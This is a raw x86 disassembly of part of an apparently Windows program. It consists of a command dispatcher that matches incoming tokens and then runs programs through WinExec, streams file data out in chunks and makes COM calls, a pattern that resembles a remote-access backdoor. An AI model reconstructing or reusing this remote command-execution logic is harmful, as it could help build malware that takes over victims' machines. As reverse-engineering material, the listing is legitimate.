cmp edx, dword [esp + 4]
jne 0x41e00f
cmp eax, dword [esp]
pop edx
pop eax
jne 0x41dfa7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41e030
mov eax, dword [ebp - 0x34]
call fcn.004021bc
ret
lea eax, [ebp - 0x8474]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8474]
mov edx, 0x420044
call fcn.00402da4
jne 0x41e1f2
push 5
call sub.kernel32.dll_Sleep
push 0x420058
mov eax, dword [0x4274c8]
push dword [eax + 8]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
push 5
call sub.kernel32.dll_Sleep
mov ebx, dword [0x427528]
mov ebx, dword [ebx]
lea edx, [ebp - 0xc]
mov eax, 0x420078
call ebx
push 0x4200c8
mov eax, dword [ebp - 0xc]
call fcn.00402c60
add eax, 4
lea edx, [ebp - 0x8478]
call fcn.00406bb8
push dword [ebp - 0x8478]
push 0x41f0d8
lea eax, [ebp - 8]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov dl, 1
mov eax, dword [0x41465c]
call fcn.0040218c
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x34]
call fcn.00415f04
push 0
push 0
mov eax, dword [ebp - 0x34]
call fcn.004148c4
xor eax, eax
push ebp
push 0x41e1de
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x34]
call fcn.004148a4
mov esi, eax
lea edx, [ebp - 0x8085]
mov ecx, 0x8001
mov eax, dword [ebp - 0x34]
mov ebx, dword [eax]
call dword [ebx + 8]
mov ebx, eax
test ebx, ebx
jle 0x41e15c
lea edx, [ebp - 0x8085]
mov eax, dword [0x427470]
mov eax, dword [eax]
mov ecx, ebx
call fcn.00408d1c
mov ecx, eax
cmp ecx, ebx
jge 0x41e1a9
lea eax, [ecx + esi]
cdq
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148c4
jmp 0x41e15c
mov eax, dword [ebp - 0x34]
call fcn.004148a4
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148d8
cmp edx, dword [esp + 4]
jne 0x41e1c4
cmp eax, dword [esp]
pop edx
pop eax
jne 0x41e15c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41e1e5
mov eax, dword [ebp - 0x34]
call fcn.004021bc
ret
lea eax, [ebp - 0x847c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x847c]
mov edx, 0x4200e8
call fcn.00402da4
jne 0x41e27a
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
push 0
mov eax, dword [ebp - 0xc]
call fcn.00402e58
push eax
call sub.kernel32.dll_WinExec
jmp 0x41f065
lea eax, [ebp - 0x8480]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8480]
mov edx, 0x420100
call fcn.00402da4
jne 0x41e436
push 5
call sub.kernel32.dll_Sleep
push 0x420118
mov eax, dword [0x4274c8]
push dword [eax + 8]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
call fcn.0040a67c
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
push 5
call sub.kernel32.dll_Sleep
mov ebx, dword [0x427440]
mov ebx, dword [ebx]
lea edx, [ebp - 0xc]
mov al, 1
call ebx
push 0x420138
mov eax, dword [ebp - 0xc]
call fcn.00402c60
add eax, 4
lea edx, [ebp - 0x8484]
call fcn.00406bb8
push dword [ebp - 0x8484]
push 0x41f0d8
lea eax, [ebp - 8]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov dl, 1
mov eax, dword [0x41465c]
call fcn.0040218c
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x34]
call fcn.00415f04
push 0
push 0
mov eax, dword [ebp - 0x34]
call fcn.004148c4
xor eax, eax
push ebp
push 0x41e41d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x34]
call fcn.004148a4
mov esi, eax
lea edx, [ebp - 0x8085]
mov ecx, 0x8001
mov eax, dword [ebp - 0x34]
mov ebx, dword [eax]
call dword [ebx + 8]
mov ebx, eax
test ebx, ebx
jle 0x41e39b
lea edx, [ebp - 0x8085]
mov eax, dword [0x427470]
mov eax, dword [eax]
mov ecx, ebx
call fcn.00408d1c
mov ecx, eax
cmp ecx, ebx
jge 0x41e3e8
lea eax, [ecx + esi]
cdq
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148c4
jmp 0x41e39b
mov eax, dword [ebp - 0x34]
call fcn.004148a4
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148d8
cmp edx, dword [esp + 4]
jne 0x41e403
cmp eax, dword [esp]
pop edx
pop eax
jne 0x41e39b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41e424
mov eax, dword [ebp - 0x34]
call fcn.004021bc
ret
lea eax, [ebp - 0x8488]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8488]
mov edx, 0x42015c
call fcn.00402da4
jne 0x41e5f2
push 5
call sub.kernel32.dll_Sleep
push 0x420118
mov eax, dword [0x4274c8]
push dword [eax + 8]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
call fcn.0040a67c
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
push 5
call sub.kernel32.dll_Sleep
mov ebx, dword [0x427440]
mov ebx, dword [ebx]
lea edx, [ebp - 0xc]
xor eax, eax
call ebx
push 0x420138
mov eax, dword [ebp - 0xc]
call fcn.00402c60
add eax, 4
lea edx, [ebp - 0x848c]
call fcn.00406bb8
push dword [ebp - 0x848c]
push 0x41f0d8
lea eax, [ebp - 8]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov dl, 1
mov eax, dword [0x41465c]
call fcn.0040218c
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x34]
call fcn.00415f04
push 0
push 0
mov eax, dword [ebp - 0x34]
call fcn.004148c4
xor eax, eax
push ebp
push 0x41e5d9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x34]
call fcn.004148a4
mov esi, eax
lea edx, [ebp - 0x8085]
mov ecx, 0x8001
mov eax, dword [ebp - 0x34]
mov ebx, dword [eax]
call dword [ebx + 8]
mov ebx, eax
test ebx, ebx
jle 0x41e557
lea edx, [ebp - 0x8085]
mov eax, dword [0x427470]
mov eax, dword [eax]
mov ecx, ebx
call fcn.00408d1c
mov ecx, eax
cmp ecx, ebx
jge 0x41e5a4
lea eax, [ecx + esi]
cdq
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148c4
jmp 0x41e557
mov eax, dword [ebp - 0x34]
call fcn.004148a4
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148d8
cmp edx, dword [esp + 4]
jne 0x41e5bf
cmp eax, dword [esp]
pop edx
pop eax
jne 0x41e557
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41e5e0
mov eax, dword [ebp - 0x34]
call fcn.004021bc
ret
lea eax, [ebp - 0x8490]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8490]
mov edx, 0x420174
call fcn.00402da4
jne 0x41e7d2
call fcn.0040a67c
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x18]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x18]
call fcn.00406cd4
push eax
mov eax, dword [ebp - 0x10]
call fcn.00406cd4
mov ecx, eax
mov ebx, dword [0x42750c]
mov ebx, dword [ebx]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
call ebx
cmp al, 1
jne 0x41e78b
push 5
call sub.kernel32.dll_Sleep
push 0x420118
mov eax, dword [0x4274c8]
push dword [eax + 0x108]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x41e7c8
push 5
call sub.kernel32.dll_Sleep
push 0x420118
mov eax, dword [0x4274c8]
push dword [eax + 0x10c]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
call fcn.0040a788
jmp 0x41f065
lea eax, [ebp - 0x8494]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8494]
mov edx, 0x42018c
call fcn.00402da4
jne 0x41e8dd
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov ebx, dword [0x427608]
mov ebx, dword [ebx]
mov eax, dword [ebp - 4]
call ebx
cmp al, 1
jne 0x41e896
push 5
call sub.kernel32.dll_Sleep
push 0x420118
mov eax, dword [0x4274c8]
push dword [eax + 0x18]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x41e8d0
push 5
call sub.kernel32.dll_Sleep
push 0x420118
mov eax, dword [0x4274c8]
push dword [eax + 0x1c]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8498]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8498]
mov edx, 0x4201a4
call fcn.00402da4
jne 0x41ea3e
push 0
call sub.ole32.dll_CoInitialize
mov ebx, dword [0x427530]
mov ebx, dword [ebx]
call ebx
cmp eax, 5
jne 0x41e9b5
lea eax, [ebp - 0xc]
mov edx, 0x4201b8
call fcn.00402a7c
push 0x4201dc
push 0xd
lea eax, [ebp - 0x849c]
push eax
mov cx, 0xc
mov dx, 0xb
mov eax, dword [ebp - 0xc]
call fcn.00407350
push dword [ebp - 0x849c]
push 0x41f0d8
lea edx, [ebp - 0x84a0]
mov eax, 5
call fcn.00406bb8
push dword [ebp - 0x84a0]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 6
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
call sub.ole32.dll_CoUninitialize
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
mov ebx, dword [0x4274fc]
mov ebx, dword [ebx]
lea eax, [ebp - 0xc]
call ebx
push 0x4201dc
push 0xd
lea eax, [ebp - 0x84a4]
push eax
mov cx, 0xc
mov dx, 0xb
mov eax, dword [ebp - 0xc]
call fcn.00407350
push dword [ebp - 0x84a4]
push 0x41f0d8
mov ebx, dword [0x427530]
mov ebx, dword [ebx]
call ebx
lea edx, [ebp - 0x84a8]
call fcn.00406bb8
push dword [ebp - 0x84a8]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 6
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
call sub.ole32.dll_CoUninitialize
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x84ac]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x84ac]
mov edx, 0x4201fc
call fcn.00402da4
jne 0x41eb14
push 0
call sub.ole32.dll_CoInitialize
mov ebx, dword [0x42740c]
mov ebx, dword [ebx]
xor eax, eax
call ebx
mov ebx, dword [0x4274fc]
mov ebx, dword [ebx]
lea eax, [ebp - 0xc]
call ebx
push 0x4201dc
push 0xd
lea eax, [ebp - 0x84b0]
push eax
mov cx, 0xc
mov dx, 0xb
mov eax, dword [ebp - 0xc]
call fcn.00407350
push dword [ebp - 0x84b0]
push 0x41f0d8
mov ebx, dword [0x427530]
mov ebx, dword [ebx]
call ebx
lea edx, [ebp - 0x84b4]
call fcn.00406bb8
push dword [ebp - 0x84b4]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 6
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
call sub.ole32.dll_CoUninitialize
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x84b8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x84b8]
mov edx, 0x420214
call fcn.00402da4
jne 0x41ebed
push 0
call sub.ole32.dll_CoInitialize
mov ebx, dword [0x42740c]
mov ebx, dword [ebx]
mov eax, 1
call ebx
mov ebx, dword [0x4274fc]
mov ebx, dword [ebx]
lea eax, [ebp - 0xc]
call ebx
push 0x4201dc
push 0xd
lea eax, [ebp - 0x84bc]
push eax
mov cx, 0xc
mov dx, 0xb
mov eax, dword [ebp - 0xc]
call fcn.00407350
push dword [ebp - 0x84bc]
push 0x41f0d8
mov ebx, dword [0x427530]
mov ebx, dword [ebx]
call ebx
lea edx, [ebp - 0x84c0]
call fcn.00406bb8
push dword [ebp - 0x84c0]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 6
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
call sub.ole32.dll_CoUninitialize
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x84c4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x84c4]
mov edx, 0x420228
call fcn.00402da4
jne 0x41ecc6
push 0
call sub.ole32.dll_CoInitialize
mov ebx, dword [0x42740c]
mov ebx, dword [ebx]
mov eax, 2
call ebx
mov ebx, dword [0x4274fc]
mov ebx, dword [ebx]
lea eax, [ebp - 0xc]
call ebx
push 0x4201dc
push 0xd
lea eax, [ebp - 0x84c8]
push eax
mov cx, 0xc
mov dx, 0xb
mov eax, dword [ebp - 0xc]
call fcn.00407350
push dword [ebp - 0x84c8]
push 0x41f0d8
mov ebx, dword [0x427530]
mov ebx, dword [ebx]
call ebx
lea edx, [ebp - 0x84cc]
call fcn.00406bb8
push dword [ebp - 0x84cc]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 6
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
call sub.ole32.dll_CoUninitialize
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x84d0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x84d0]
mov edx, 0x42023c
call fcn.00402da4
jne 0x41ed9f
push 0
call sub.ole32.dll_CoInitialize
mov ebx, dword [0x42740c]
mov ebx, dword [ebx]
mov eax, 3
call ebx
mov ebx, dword [0x4274fc]
mov ebx, dword [ebx]
lea eax, [ebp - 0xc]
call ebx
push 0x4201dc
push 0xd
lea eax, [ebp - 0x84d4]
push eax
mov cx, 0xc
mov dx, 0xb
mov eax, dword [ebp - 0xc]
call fcn.00407350
push dword [ebp - 0x84d4]
push 0x41f0d8
mov ebx, dword [0x427530]
mov ebx, dword [ebx]
call ebx
lea edx, [ebp - 0x84d8]
call fcn.00406bb8
push dword [ebp - 0x84d8]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 6
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
call sub.ole32.dll_CoUninitialize
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x84dc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x84dc]
mov edx, 0x420254
call fcn.00402da4
jne 0x41ee78
push 0
call sub.ole32.dll_CoInitialize
mov ebx, dword [0x42740c]
mov ebx, dword [ebx]
mov eax, 4
call ebx
mov ebx, dword [0x4274fc]
mov ebx, dword [ebx]
lea eax, [ebp - 0xc]
call ebx
push 0x4201dc
push 0xd
lea eax, [ebp - 0x84e0]
push eax
mov cx, 0xc
mov dx, 0xb
mov eax, dword [ebp - 0xc]
call fcn.00407350
push dword [ebp - 0x84e0]
push 0x41f0d8
mov ebx, dword [0x427530]
mov ebx, dword [ebx]
call ebx
lea edx, [ebp - 0x84e4]
call fcn.00406bb8
push dword [ebp - 0x84e4]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 6
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
call sub.ole32.dll_CoUninitialize
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x84e8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x84e8]
mov edx, 0x42026c
call fcn.00402da4
jne 0x41f065
push 0
call sub.ole32.dll_CoInitialize
mov ebx, dword [0x427530]
mov ebx, dword [ebx]
call ebx
cmp eax, 4
jne 0x41ef1b
push 0x4201dc
mov ebx, dword [0x427530]
mov ebx, dword [ebx]
call ebx
lea edx, [ebp - 0x84ec]
call fcn.00406bb8
push dword [ebp - 0x84ec]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
mov ebx, dword [0x427554]
mov ebx, dword [ebx]
lea eax, [ebp - 0xc]
call ebx
push 0x420280
mov eax, dword [ebp - 0xc]
call fcn.00402c60
add eax, 4
lea edx, [ebp - 0x84f0]
call fcn.00406bb8
push dword [ebp - 0x84f0]
push 0x41f0d8
lea eax, [ebp - 8]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov dl, 1
mov eax, dword [0x41465c]
call fcn.0040218c
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x34]
call fcn.00415f04
push 0
push 0
mov eax, dword [ebp - 0x34]
call fcn.004148c4
xor eax, eax
push ebp
push 0x41f020
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x34]
call fcn.004148a4
mov esi, eax
lea edx, [ebp - 0x8085]
mov ecx, 0x8001
mov eax, dword [ebp - 0x34]
mov ebx, dword [eax]
call dword [ebx + 8]
mov ebx, eax
test ebx, ebx
jle 0x41ef9e
lea edx, [ebp - 0x8085]
mov eax, dword [0x427470]
mov eax, dword [eax]
mov ecx, ebx
call fcn.00408d1c
mov ecx, eax
cmp ecx, ebx
jge 0x41efeb
lea eax, [ecx + esi]
cdq
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148c4
jmp 0x41ef9e
mov eax, dword [ebp - 0x34]
call fcn.004148a4
push edx
push eax
mov eax, dword [ebp - 0x34]
call fcn.004148d8
cmp edx, dword [esp + 4]
jne 0x41f006
cmp eax, dword [esp]
pop edx
pop eax
jne 0x41ef9e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41f0c7
lea eax, [ebp - 0x84f0]
mov edx, 0x35
call fcn.00402a08
lea eax, [ebp - 0x8418]
mov edx, 0x2f
call fcn.00402a08
lea eax, [ebp - 0x835c]
mov edx, 0x64
call fcn.00402a08
lea eax, [ebp - 0x81cc]
mov edx, 0x49
call fcn.00402a08
lea eax, [ebp - 0x1c]
mov edx, 7
call fcn.00402a08
ret